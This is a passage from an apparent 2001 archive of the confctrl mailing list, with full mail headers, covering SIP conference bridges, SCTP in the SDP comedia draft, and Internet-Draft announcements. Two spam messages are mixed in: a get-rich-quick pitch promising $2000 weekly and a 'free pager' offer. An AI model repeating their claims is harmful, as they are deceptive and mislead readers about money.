More specifically, I am seeking a SIP-based solution to the "phone bridge" scenario in which different callers -- all of whom are peers and all of whom are equally likely to speak -- form a conference together from N different locations (N > 2). Current phone bridges permit people to "talk over" each other. Such a possibility would be fine for what I'm after. However, an alternative which would also meet our needs is a "token-based" approach whereby each site requests the token in order to speak and, if it is granted, then that site could speak, thus avoiding contention.

In any case, I am told that certain current Internet2 applications approach this need by having each participant establish bi-directional multicast relationships with each other. While this may work in the unique Internet2 environment, where bandwidth and local CPU resources are plentiful, this approach is unappealing in a commercial environment with our more humble resources. Hence my question to you all: how can the requirements of the previous paragraph be met in a commercial environment using SIP-based conference control? Are there any existing products or implementations doing this?

An approach which makes sense to me is to duplicate the "phone bridge" in the SIP world in the sense that each participant establishes a bi-directional session to a central bridge, and the bridge distributes the call. Are there any such implementations of this using Internet technologies? If so, how well did it work?

Thank you for your attention to this question. I would appreciate any information which you could provide concerning how to achieve peer conference calls using SIP. 

From confctrl-owner  Tue Mar  6 18:06:47 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA27341
	for confctrl-outgoing; Tue, 6 Mar 2001 18:06:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA27317
	for <confctrl@zephyr.isi.edu>; Tue, 6 Mar 2001 18:06:41 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2726eq16527
	for <confctrl@isi.edu>; Tue, 6 Mar 2001 18:06:40 -0800 (PST)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id VAA02975;
	Tue, 6 Mar 2001 21:06:34 -0500 (EST)
Message-ID: <3AA597AA.7FEBC430@cs.columbia.edu>
Date: Tue, 06 Mar 2001 21:06:34 -0500
From: "Henning G. Schulzrinne" <hgs@cs.columbia.edu>
Organization: Dept. of Computer Science, Columbia University
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.8 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fleischman, Eric W" <Eric.Fleischman@PSS.Boeing.com>
CC: "'sip-implementors@cs.columbia.edu'" <sip-implementors@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        Kundan Singh <kns10@cs.columbia.edu>
Subject: Re: [Sip-implementors] SIP Conference Control for peer conference calls
References: <8006AC6A777F3F4F8B2A6383C19C5B7A01F12B43@XCH-NW-01.nw.nos.boeing.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

One solution that we're implementing in our SIP conference bridge is to
use a web interface, where the chair can enable and disable speaking (or
video sending) from different participants. The web interface has a
connection to the conference server, which in turn mutes the sources,
both locally and via SIP-based muting. This has the advantage that it
doesn't require any special user interface or protocol for the chair
(and the chair could also be on a regular phone through a gateway), but
obviously doesn't support things like queueing up for questions,
although I don't think adding this functionality via a web page would be
particularly hard. (We would probably use SIP NOTIFY to tell the speaker
that it's his or her turn or that the time is up.) This simplistic
approach dodges many of the tough problems, such as maintaining a
consistent membership list of the conference and the need to support
non-IP devices such as phones connected through a gateway.

"Fleischman, Eric W" wrote:
> 
> I request assistance from these lists to better understand the conference control options available to support SIP-oriented conference calls. My current experience with conference control alternatives resemble the all-or-nothing alternatives described in Section 6 of M. Handley/J. Crowcroft/C. Bormann/J. Ott's internet draft document "The Internet Multimedia Conferencing Architecture" (see http://search.ietf.org/internet-drafts/draft-ietf-mmusic-confarch-03.txt). These alternatives (simplistically speaking) are the tightly coupled control of the H.320 series (e.g., H.323) versus the lightly coupled control of traditional MBONE applications. However, what I seek is something in the middle, since I would prefer to avoid the overheads associated with tightly coupled approaches as well as the inefficiencies of loosely coupled.
> 
> More specifically, I am seeking a SIP-based solution to the "phone bridge" scenario in which different callers -- all of whom are peers and all of whom are equally likely to speak -- form a conference together from N different locations (N > 2). Current phone bridges permit people to "talk over" each other. Such a possibility would be fine for what I'm after. However, an alternative which would also meet our needs is a "token-based" approach whereby each site requests the token in order to speak and, if it is granted, then that site could speak, thus avoiding contention.
> 
> In any case, I am told that certain current Internet2 applications approach this need by having each participant establish bi-directional multicast relationships with each other. While this may work in the unique Internet2 environment, where bandwidth and local CPU resources are plentiful, this approach is unappealing in a commercial environment with our more humble resources. Hence my question to you all: how can the requirements of the previous paragraph be met in a commercial environment using SIP-based conference control? Are there any existing products or implementations doing this?
> 
> An approach which makes sense to me is to duplicate the "phone bridge" in the SIP world in the sense that each participant establishes a bi-directional session to a central bridge, and the bridge distributes the call. Are there any such implementations of this using Internet technologies? If so, how well did it work?
> 
> Thank you for your attention to this question. I would appreciate any information which you could provide concerning how to achieve peer conference calls using SIP.
> _______________________________________________
> Sip-implementors mailing list
> Sip-implementors@cs.columbia.edu
> http://lists.cs.columbia.edu/mailman/listinfo/sip-implementors

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Mar  6 19:02:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA01928
	for confctrl-outgoing; Tue, 6 Mar 2001 19:02:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA01921
	for <confctrl@zephyr.isi.edu>; Tue, 6 Mar 2001 19:02:18 -0800 (PST)
Received: from iplog3.suhuf.net.sa. (ns2.suhuf.net.sa [213.136.192.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2732Gq26140
	for <confctrl@isi.edu>; Tue, 6 Mar 2001 19:02:17 -0800 (PST)
Received: from 216.214.83.223 ([216.214.83.223]) by
          iplog3.suhuf.net.sa. (Netscape Messaging Server 4.15) with SMTP
          id G9TJGA00.GM2; Wed, 7 Mar 2001 05:26:34 -0300 
Message-ID: <000020e32030$00001280$0000209a@>
To: <confection@earthlink.net>
Cc: <confarotta@hotmail.com>, <confcwgrl@yahoo.com>, <confecti@yahoo.com>,
        <confecting@lnd.com>, <confed1@bellsouth.net>, <confd2dend@yahoo.com>,
        <confed1560@citi.net>, <confecting@dallas.net>, <confbaja@telnor.net>,
        <confderate@excite.com>, <confed1560@compunet2.com>,
        <confed1@excite.com>, <confed1560@compugraph.com>, <confaye@yahoo.com>,
        <confecting@itcdeltacom.com>, <confecting@ltinet.com>,
        <confboy@yahoo.com>, <confecting11946@yahoo.com>,
        <confed01@excite.com>, <confed1560@bedfordnet.com>,
        <confed1560@blueskyweb.com>, <confctrl@ISI.EDU>, <confed1560@idrc.ca>,
        <confbrasilvolei@lnd.com>
From: jkpendino@hotmail.com
Subject: I Hope You Find This Life Changing ...                         8346
Date: Tue, 06 Mar 2001 21:23:57 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



GETTING BACK TO YOUR REQUEST!!

* You were referred to me as someone who was ready for
a Financial Breakthrough!

* If you want to be successful you must first find someone who
is successful and Duplicate what they do.

* I am willing to teach you the secrets that I have leaned in creating
Financial Independence given that you pass a brief qualification.

* I am looking for a few motivated and teachable individuals who are ready to start earning at least $2000 per week starting right away. And a SEVEN FIGURE income within the next 2 years.
Yes, I said, "You could be a millionaire!" Can you accept this in your life?

** This is not multi-level marketing or a pyramid scheme or a get rich quick scheme. This is a Real, Legitimate business that does require a certain individual.

Call me Toll Free at the number below and I will contact you back to conduct a brief interview and to provide you with additional information.

1-888-281-2694
24 Hrs/ 7 Days


Thank You and I hope to hear from you!
Jason


"The moment you commit and quit holding back, all sorts of 
unforeseen incidents, meetings and material assistance will
rise up to help you. The simple act of commitment is a powerful
magnet for help!"       - Napoleon Hill


To be taken off send email to downchld@yahoo.com






From confctrl-owner  Tue Mar  6 19:36:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA04505
	for confctrl-outgoing; Tue, 6 Mar 2001 19:36:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA04500
	for <confctrl@zephyr.isi.edu>; Tue, 6 Mar 2001 19:36:35 -0800 (PST)
Received: from zeus.pro-cibernetica.com.co (www.pro-cibernetica.com.co [63.95.147.243])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f273aYq02005
	for <confctrl@isi.edu>; Tue, 6 Mar 2001 19:36:34 -0800 (PST)
Received: from 169.207.192.100 ([169.207.192.100]) by
          zeus.pro-cibernetica.com.co (Netscape Messaging Server 4.15)
          with SMTP id G9SBMC00.1BS; Tue, 6 Mar 2001 21:39:48 +0500 
Message-ID: <00004abe094d$00002177$00000262@>
To: <goinhlfmad@hotmail.com>
From: Materi@TheHeadOffice.com
Subject: We want to give you a Brand New  F R E E  Pager ...                         610
Date: Wed, 07 Mar 2001 10:41:00 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Brand New Pager for  F R E E!

No long term contract
No big prepayment of airtime
No credit check

Put F R E E pagers on your kids - Give one to your loved ones - For F R E E

Here at Paging America we are excited to be offering you this
exclusive, top of the line, full featured pager in your choice
of color for  F R E E . This side viewable display pager is one of
the smallest and lightest pagers on the market today.


Call 877-699-7409 to be Guaranteed Your  F R E E  Pager Today


Your pager will hold up to 20 numeric messages. It has 9 music
alerts and silent vibration. New FLEX technology provides three
times the battery life. Also, message time and date stamping and
smart alarm so you can set a daily or weekly reminder.
This pager comes in black, teal and blue. 

To receive your  F R E E  pager all we ask is that you allow us to
provide you with the monthly  airtime cancelable at any time.
There is no long term contract.

Just call the toll  F R E E  number and we'll ship your  F R E E  pager to
you immediately in your choice of color already programmed with
a local telephone number for your town. 

Make this easy phone call and we will deliver your pager immediately.


Call 877-699-7409 to get in on this exciting offer today


To get off this send email to sheetset@yahoo.com

From confctrl-owner  Tue Mar  6 22:02:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA12796
	for confctrl-outgoing; Tue, 6 Mar 2001 22:02:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA12791
	for <confctrl@zephyr.isi.edu>; Tue, 6 Mar 2001 22:02:22 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2762Lq22760
	for <confctrl@isi.edu>; Tue, 6 Mar 2001 22:02:21 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA28777;
	Wed, 7 Mar 2001 01:05:32 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9PYDT>; Wed, 7 Mar 2001 01:04:39 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BAB6@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Fleischman, Eric W'" <Eric.Fleischman@pss.boeing.com>,
        "'sip-implementors@cs.columbia.edu'" <sip-implementors@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: [Sip-implementors] SIP Conference Control for peer conference
	 calls
Date: Wed, 7 Mar 2001 01:04:38 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Fleischman, Eric W [mailto:Eric.Fleischman@pss.boeing.com]
> Sent: Tuesday, March 06, 2001 8:47 PM
> To: 'sip-implementors@cs.columbia.edu'; 'confctrl@isi.edu'
> Subject: [Sip-implementors] SIP Conference Control for peer conference
> calls
> 
> 
>An approach which makes sense to me is to duplicate the "phone bridge" in
the SIP world in 
>the sense that each participant establishes a bi-directional session to a
central bridge, 
>and the bridge distributes the call. Are there any such implementations of
this using 
>Internet technologies? 

Definitely. The concepts are documented in:

http://search.ietf.org/internet-drafts/draft-rosenberg-sip-conferencing-mode
ls-00.txt

There are several commercial products available, shipping now, that work
under the centralized bridge model descibed in section 4; Voyant, for
example. I think this model is the one you are referring to above.

-Jonathan R.

---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Wed Mar  7 03:48:39 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA29753
	for confctrl-outgoing; Wed, 7 Mar 2001 03:48:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA29748
	for <confctrl@zephyr.isi.edu>; Wed, 7 Mar 2001 03:48:37 -0800 (PST)
Received: from exchange1.nuera.com (igate.nuera.com [204.216.240.98])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f27BmXq07726
	for <confctrl@isi.edu>; Wed, 7 Mar 2001 03:48:37 -0800 (PST)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2650.21)
	id <GN8V1ZM4>; Wed, 7 Mar 2001 03:47:57 -0800
Message-ID: <E79883AEA37FD411A58C00508BAC5F4B7102C6@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'yon@dialout.net'"
	 <yon@dialout.net>
Cc: "'tsvwg@ietf.org'" <tsvwg@ietf.org>
Subject: Removal of SCTP from comedia draft.
Date: Wed, 7 Mar 2001 03:47:56 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0A6FC.7399E9D0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A6FC.7399E9D0
Content-Type: text/plain;
	charset="iso-8859-1"


Hello,

I would like to discuss the removal of the SCTP from David Yon's
draft-ietf-mmusic-sdp-comedia-00.txt. I have spoken privately with David
about this and he suggest I bring it to the work gorups attention.

There are a number of reasons why I think that SCTP is not a
connection-oriented media transport mechanism in way that the draft is using
the term. I think an SDP profile for SCTP need's its own draft for a number
of reasons. The SCTP-SDP draft may well reference this comedia draft but
should not not be included within it.

Reasons why SCTP is different to TCP in terms of being
"connection-oriented":
- For SCTP, the connection/association is only between SCTP endpoints and is
not on a per media connection basis. 
- Once the SCTP association is established between endpoints, no connection
is required to start or stop using a particular stream (as far as I can
tell), that is, you just send data to a stream much like a connectionless
datagram protocol.

Reasons why comedia draft is insufficient for SCTP:
- SCTP MUST use an existing SCTP endpoint association if one exists such
that the direction parameter MUST be ignored in many connection cases. 
- Single IP address ("c=") and "m=" line port is not sufficient to identify
an SCTP stream. An IP address, port and stream number is needed.
- Single IP address, port & stream number is only sufficient to identify an
existing association and not sufficient to create a new SCTP association
(which is necessary in my opinion). [EG need to supply multiple transport
local addresses, number of streams, direction, etc]

I am in favor of removing the mention of SCTP from the comedia draft and
beginning work on a dedicated SCTP SDP profile which addresses these issues.
I feel at this preliminary  stage the tsvwg WG mailign list is a more
appropriate discussion place with migration to mmusic when work nears
completion.

Comments please (especially if I have an SCTP details wrong). [Reply to
confctrl@isi.edu is probably best.]

Regards,

Robert.

------_=_NextPart_001_01C0A6FC.7399E9D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Removal of SCTP from comedia draft.</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2>Hello,</FONT>
</P>

<P><FONT SIZE=3D2>I would like to discuss the removal of the SCTP from =
David Yon's draft-ietf-mmusic-sdp-comedia-00.txt. I have spoken =
privately with David about this and he suggest I bring it to the work =
gorups attention.</FONT></P>

<P><FONT SIZE=3D2>There are a number of reasons why I think that SCTP =
is not a connection-oriented media transport mechanism in way that the =
draft is using the term. I think an SDP profile for SCTP need's its own =
draft for a number of reasons. The SCTP-SDP draft may well reference =
this comedia draft but should not not be included within it.</FONT></P>

<P><FONT SIZE=3D2>Reasons why SCTP is different to TCP in terms of =
being &quot;connection-oriented&quot;:</FONT>
<BR><FONT SIZE=3D2>- For SCTP, the connection/association is only =
between SCTP endpoints and is not on a per media connection basis. =
</FONT>
<BR><FONT SIZE=3D2>- Once the SCTP association is established between =
endpoints, no connection is required to start or stop using a =
particular stream (as far as I can tell), that is, you just send data =
to a stream much like a connectionless datagram protocol.</FONT></P>

<P><FONT SIZE=3D2>Reasons why comedia draft is insufficient for =
SCTP:</FONT>
<BR><FONT SIZE=3D2>- SCTP MUST use an existing SCTP endpoint =
association if one exists such that the direction parameter MUST be =
ignored in many connection cases. </FONT></P>

<P><FONT SIZE=3D2>- Single IP address (&quot;c=3D&quot;) and =
&quot;m=3D&quot; line port is not sufficient to identify an SCTP =
stream. An IP address, port and stream number is needed.</FONT></P>

<P><FONT SIZE=3D2>- Single IP address, port &amp; stream number is only =
sufficient to identify an existing association and not sufficient to =
create a new SCTP association (which is necessary in my opinion). [EG =
need to supply multiple transport local addresses, number of streams, =
direction, etc]</FONT></P>

<P><FONT SIZE=3D2>I am in favor of removing the mention of SCTP from =
the comedia draft and beginning work on a dedicated SCTP SDP profile =
which addresses these issues. I feel at this preliminary&nbsp; stage =
the tsvwg WG mailign list is a more appropriate discussion place with =
migration to mmusic when work nears completion.</FONT></P>

<P><FONT SIZE=3D2>Comments please (especially if I have an SCTP details =
wrong). [Reply to confctrl@isi.edu is probably best.]</FONT>
</P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Robert.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A6FC.7399E9D0--

From confctrl-owner  Thu Mar  8 01:01:51 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA04099
	for confctrl-outgoing; Thu, 8 Mar 2001 01:01:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA04094
	for <confctrl@zephyr.isi.edu>; Thu, 8 Mar 2001 01:01:48 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2891lq28739
	for <confctrl@ISI.EDU>; Thu, 8 Mar 2001 01:01:47 -0800 (PST)
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19])
	by sj-msg-core-3.cisco.com (8.9.3/8.9.1) with ESMTP id BAA11935
	for <confctrl@ISI.EDU>; Thu, 8 Mar 2001 01:00:31 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f2891f918083
	for <confctrl@ISI.EDU>; Thu, 8 Mar 2001 01:01:41 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id BAA18428 for <confctrl@ISI.EDU>; Thu, 8 Mar 2001 01:01:40 -0800 (PST)
Message-ID: <3AA74B3D.F722F2B9@cisco.com>
Date: Thu, 08 Mar 2001 04:05:01 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: MMUSIC <confctrl@ISI.EDU>
Subject: [Fwd: I-D ACTION:draft-andreasen-mmusic-sdp-simcap-01.txt]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings

The 01 version of the SDP Simple Capability Negotiation I-D is now available.

Regards

        Flemming

Internet-Drafts@ietf.org wrote:

> A New Internet-Draft is available from the on-line Internet-Drafts directories.
>
>         Title           : SDP Simple Capability Negotiation
>         Author(s)       : F. Andreasen
>         Filename        : draft-andreasen-mmusic-sdp-simcap-01.txt
>         Pages           : 6
>         Date            : 05-Mar-01
>
> This document proposes a set of Session Description Protocol (SDP)
> attributes that allow SDP to provide a minimal and backwards
> compatible capability negotiation mechanism. The mechanism is
> intended as a simple and limited solution to the general capability
> negotiation problem being addressed by ongoing work on the next
> generation of SDP, also known as SDPng.
>
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-01.txt
>
> Internet-Drafts are also available by anonymous FTP. Login with the username
> "anonymous" and a password of your e-mail address. After logging in,
> type "cd internet-drafts" and then
>         "get draft-andreasen-mmusic-sdp-simcap-01.txt".
>
> A list of Internet-Drafts directories can be found in
> http://www.ietf.org/shadow.html
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
>
> Internet-Drafts can also be obtained by e-mail.
>
> Send a message to:
>         mailserv@ietf.org.
> In the body type:
>         "FILE /internet-drafts/draft-andreasen-mmusic-sdp-simcap-01.txt".
>
> NOTE:   The mail server at ietf.org can return the document in
>         MIME-encoded form by using the "mpack" utility.  To use this
>         feature, insert the command "ENCODING mime" before the "FILE"
>         command.  To decode the response(s), you will need "munpack" or
>         a MIME-compliant mail reader.  Different MIME-compliant mail readers
>         exhibit different behavior, especially when dealing with
>         "multipart" MIME messages (i.e. documents which have been split
>         up into multiple messages), so check your local documentation on
>         how to manipulate these messages.
>
>
> Below is the data which will enable a MIME compliant mail reader
> implementation to automatically retrieve the ASCII version of the
> Internet-Draft.
>
>   ------------------------------------------------------------------------
> Content-Type: text/plain
> Content-ID:     <20010305125103.I-D@ietf.org>

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Mar  8 03:59:02 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA10942
	for confctrl-outgoing; Thu, 8 Mar 2001 03:59:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA10937
	for <confctrl@zephyr.isi.edu>; Thu, 8 Mar 2001 03:59:00 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f28Bwvq19028
	for <confctrl@isi.edu>; Thu, 8 Mar 2001 03:58:58 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA22688;
	Thu, 8 Mar 2001 06:58:55 -0500 (EST)
Message-Id: <200103081158.GAA22688@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-new-01.txt
Date: Thu, 08 Mar 2001 06:58:55 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: M. Handley, V. Jacobson, C. Perkins
	Filename	: draft-ietf-mmusic-sdp-new-01.txt
	Pages		: 35
	Date		: 07-Mar-01
	
This document defines the Session Description Protocol, SDP.
SDP is intended for describing multimedia sessions for the
purposes of session announcement, session invitation, and
other forms of multimedia session initiation.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-new-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-new-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010307143334.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-new-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-new-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010307143334.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Mar  9 14:47:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA09731
	for confctrl-outgoing; Fri, 9 Mar 2001 14:47:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA09726
	for <confctrl@zephyr.isi.edu>; Fri, 9 Mar 2001 14:47:48 -0800 (PST)
Received: from beamer.mchh.siemens.de (beamer.mchh.siemens.de [194.138.158.163])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f29Mlkq21743
	for <confctrl@ISI.EDU>; Fri, 9 Mar 2001 14:47:46 -0800 (PST)
Received: from moody.mchh.siemens.de ([194.138.158.226])
	by beamer.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id XAA24849;
	Fri, 9 Mar 2001 23:38:43 +0100 (MET)
Received: from mchh159e.mch.pn.siemens.de ([139.21.130.171])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id SAA26174;
	Fri, 9 Mar 2001 18:43:44 +0100 (MET)
Received: by mchh159e.mch.pn.siemens.de with Internet Mail Service (5.5.2653.19)
	id <FSJN4KTK>; Fri, 9 Mar 2001 18:43:48 +0100
Message-ID: <EB2D9281A815D31181DA0001FA7E2E188CE52D@mchh157e.mch.pn.siemens.de>
From: Heil Franca Marcelo  ICM N MC MI E 73
	 <Marcelo.HeilFranca@icn.siemens.de>
To: "'cabo@tzi.org'" <cabo@tzi.org>
Cc: confctrl@ISI.EDU
Subject: RE: I-D ACTION:draft-ietf-mmusic-sccp-01.txt
Date: Fri, 9 Mar 2001 18:43:40 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id OAA09727
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Carsten,

I see SCCP as an interesting option for tighly-coupled conference control in
the context of the internet multimedia conference architecture and would
like to support it. Could you please give me some background information on
the history of SCCP? 

There seems to be no specific statement to it in the MMUSIC WG charter and I
have not seen any directly related discussions in the mailing list in the
past weeks. Also the recently expired draft-ietf-mmusic-confarch-03.txt
makes references to a SCCP internet-draft from 1996(!). 

Thanks,
Marcelo

Marcelo Heil França  
Siemens AG
ICM N MC MI E 73
Tel: +49 89 72245095
E-Mail: marcelo.heilfranca@icn.siemens.de


-----Original Message-----
From: Internet-Drafts@ietf.org [mailto:Internet-Drafts@ietf.org]
Sent: Dienstag, 6. März 2001 12:51
Cc: confctrl@ISI.EDU
Subject: I-D ACTION:draft-ietf-mmusic-sccp-01.txt


A New Internet-Draft is available from the on-line Internet-Drafts
directories.
This draft is a work item of the Multiparty Multimedia Session Control
Working Group of the IETF.

	Title		: Simple Conference Control Protocol
                          Service Specofocation
	Author(s)	: C. Bormann
	Filename	: draft-ietf-mmusic-sccp-01.txt
	Pages		: 24
	Date		: 05-Mar-01
	
This document defines the services for a simple conference control
protocol (SCCP) to be used for tightly coupled conferences. It is
